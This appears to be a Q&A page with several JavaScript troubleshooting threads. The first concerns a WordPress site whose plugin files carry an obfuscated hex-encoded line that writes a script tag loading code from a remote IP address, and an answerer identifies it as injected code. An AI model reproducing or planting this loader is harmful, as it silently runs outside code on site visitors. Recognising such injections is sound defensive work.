SyntaxError: missing ; before statement error in wordpress - javascript

All working fine in localhost, but in live server, all of a sudden I get the above mentioned error for every single js file.
I commented out wp_enqueue_scripts in functions.php, to see if the error disappears but it still there.
Also added below line thinking the string concatnation might have caused it.
//prevent javascript concat
define('CONCATENATE_SCRIPTS', false);
I can't find out what might cause this problem. Please advise me. I can provide my site's access to test.
EDIT:
I opened one of my plugin file shown in the console with error remark. Noticed weird string before the actual code begin. I suspect this could be the problem.
Is this some kind of prefix by wordpress or unwanted string from elsewhere?
var _0xaae8=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C","\x77\x72\x69\x74\x65"];document[_0xaae8[5]](_0xaae8[4][_0xaae8[3]](_0xaae8[0])[_0xaae8[2]]()[_0xaae8[1]](_0xaae8[0]))jQuery(document).ready(function() {
var meta_image_frame;
var meta_mobileimage_frame;
// Runs when the image button is clicked.
jQuery('#banner_manager_image_button').click(function(e){
....plugins js code-----
});
});

Your _0xaae8 is missing ; before jQuery(document).ready(.
This code : var _0xaae8=[... looks like injected code. Usually I had seen such codes injected via some bad written tools/plugins/libs that allow user to work with files (like uploading file to server). I suggest removing it if it's not your code and check other files on server too.

Related

Really strange Javascript / PHP Behavior

from a webpage, I want to allow users to create a cvs file on the server and download it, generated by PHP ( header('Content-Description: File Transfer') ).
function download_csv_file(){document.location='?action=download_file';}
It works like a charm. File is created and download start automatically like it should be.
But, if I add any other js events/scripts in the JS function (on the same line on a new line), the file is created on the server, but no download.
Really strange, a simple comment on the next line break the process too... But if the comment is on the same line, it works ! Crazy !!!
function download_csv_file(){
document.location='?action=download_file';
// Simple comment
}
Don't work !
function download_csv_file(){
document.location='?action=download_file'; // Simple comment
}
Works !!!
But if I add real code on the same line (instead a comment) it doesn't work.
Any explanation or idea what I can try or search for ?..
Same behavior in Chrome and Firefox
document.location
tells the browser to go to a different URL. Therefore it stops executing anything at the current URL and navigates to a new one instead. And of course that means that any JavaScript code following that command will be ignored.
N.B. since your new URL happens to download a file, it may be that you can still see the previous page in the background, which may lead you to believe that it's still the current page.
You can potentially get round this by using window.open to visit the download URL in a different tab instead.
P.S. Regarding the issue with comments...did you check for any errors in your browser's Console when that occurred? I can't reproduce the problem: https://codepen.io/ADyson82/pen/dyGYQrd

Javascript in asp.net MVC... Beginner issue

I created an Asp.Net MVC Internet Aplication and in my Index view of the Home Controller I have this
This is the first line, before the script results.
<script type="text/javascript" src="~/Script/Teste.js"></script>
<br />
This line comes after the script.
In my Teste.js I have this:
document.write("Yes! I am now a JavaScript coder!");
But nothing happens. If I change the src attribute and put some random name src="aaaa", despite the fact "aaaa" doesnt exist, I get no error in runtime.
EDIT
Also, check your path again. The default MVC templates in VS create a folder called Scripts, not Script. ("~/Scripts/teste.js")
Per the comment below, this was not the root cause of the issue, but in other cases can easily bite new JavaScript developers.
Most likely, your document.write function is firing before the document is ready, leading to the appearance that nothing is happening. Try the following in your Teste.js file
window.onload = function ()
{
document.write("Yes! I am now a JavaScript coder!");
//or even better as a test
alert("This alert was called");
}
Check the source of your page as well, it could be the document is being written to, you just can't see it due to markup/page styling.
As for you second issue, there will be no 'Runtime Exception' thrown if you reference a non-existent file. If you are using tools like Firebug or Chrome's developer tools, you should see a request to http://siteDomain/Scripts/aaaa.js with a response of 404, not found.
You generally should avoid using document.write() unless you absolutely have to use it for some reason... I don't think I've ever come across such a situation, and write a lot of Javascript.
Try this:
1) Put this in your HTML:
<script src="/scripts/teste.js"></script>
2) Put this in your JS:
alert('Yes! I am now a JavaScript coder!');
3) Open Chrome since it makes it easy to look for external resources loading and open the Network tab in Developer Tools (click the menu button at top-right, Tools > Developer Tools, Network tab).
4) Run your project and copy/paste the URL in the browser that comes up into this Chrome window, and hit enter.
When your page loads one of 2 things will happen:
A) You'll get the alert box you wanted or
B) You'll find out why it isn't loading because the Network tab will show the browser attempting to fetch teste.js and failing in some fashion, for example a 404, which would indicate you've got a typo in the path, or the script isn't where you thought it was, etc.
Put the following line at the very end of your document. There should not be anything after. Then try to load the page.
<script type="text/javascript" src="~/Script/Teste.js"></script>
Also, try pressing F12 once the page loads to see the source. Check if you script is there.
In MVC, the tilde is used to refer to the root URL of your application. However, it cannot normally parse this information. If you write:
<script src="~/Script/Teste.js"></script>
The lookup will fail, because the ~ means nothing special in HTML. If you're using Razor as your view engine (not ASPX), you need to wrap that call in Url.Content like so:
<script src="#Url.Content(~/Script/Teste.js)"></script>
Doing this will ensure a valid URL is provided to the browser.
With that in mind, you need to check that you have the file name and folder name both correct. You also need to ensure that the file is being deployed with your application. You can do this my opening the properties panel while the file is selected in the Solution Explorer and pressing F4.

Javascript error/WebResource not found on a page with RequiredFieldValidators

A friend on mine is having an issue on one of his webforms, he referrs that everytime he loads one page containing RequiredFieldValidators the page throws the following Javascript/WebResource error:
Mesagge: Syntax error
Líne: 3
Character: 1
Code: 0
URI: http://localhost/miproyecto/WebResource.axd?CCL=ynu3FmO0gS8j
I thought that the issue could be related to a forms authentication problem so He allowed the resource to be a permitted file like this:
http://connect.microsoft.com/VisualStudio/feedback/details/105101/forms-authentication-using-login-control
However the problem persists
I wonder if there is a way to get rid of the issue.
Regards,
CR
Edit:Forgot to mention that when he comments the RequiredFieldValidators on the page, the error is gone. But the idea is to keep them.
He had a .js file linked to the page and this was causing the error. Once it was commented the page worked.
Thanks!

Why javascript doesn't work when the site is online?

On the following site : http://www.cefod.org/legitchad/web there are a lot of javascript (jquery, jquery-ui).
Everything is working offline, but when the website is online, no more script is working.
It seems there are no problem with the tags, since you can read them by clicking on the links in the page's source.
So, what is the problem ?
I get 2 error messages when running you site through Firebug:
illegal character in jquery-ui.js on line 7199
$.datepicher is undefined in ui-datepicker-fr.js on line 2
Probably has something to do with you problems
Firebug tells me your jquery-ui.js is broken in line 7199.
Looks like an encoding problem. Get a new file from the jquery ui website. Make sure it not get's broken during the upload.
Inside your jquery-ui.js, there is something wrong on line: 7199, I see al lot of characters that can not be found, maybe something went wrong on uploading this file.
What if you try using this URL, just checking if this makes the error, this is not the newest jQueryUI url, but it's the same version as you are using now:
https://ajax.googleapis.com/ajax/libs/jqueryui/1.7.2/jquery-ui.min.js
your file upload could have messed up,
did you try re-uploading?
because what I see in the file online at the mentioned lines above is "����������������������������������������..."
this could have happened if your transfer stopped and tried to resume

page area not refreshing using jquery and setinterval

i am trying to refresh a particular area of my php page, which will load the updated information from database. My code are working on localhost. But, when the same code i'm trying to execute on my domain. Then, it is not refreshing and not showing updated information, and i don't why... Anybody have any idea..
setInterval(updateShouts, 10000 );
function updateShouts(){
$('#refresh').load('ajax/check.php');
};
this is the code, which i'm using for refreshing the
.
I'd check that the URL is correct:
You can use Firebug (or another Javascript debugger) to watch the request going out, and you can see if it was a 404 error or if it worked.
Also, in the Console, just type in $('#refresh') and make sure it returns an actual object.
if it just displays [] or undefined, then the selector is wrong.
Try:
function updateShouts()
{
$('#refresh').load('ajax/check.php');
};
setInterval(function(){updateShouts();}, 10000 );
Problem is with most localhost dev servers the configuration, security, etc.. is usually at the load end of the scale vs a host else where. So that may or may not be part of the issue, I couldn't say for sure though
Edit I agree with the notion of checking to make sure the path ajax/check.php is valid also. And that Firebug is a very handy tool to have when developing with jquery (or javascript stand alone)

Categories

Resources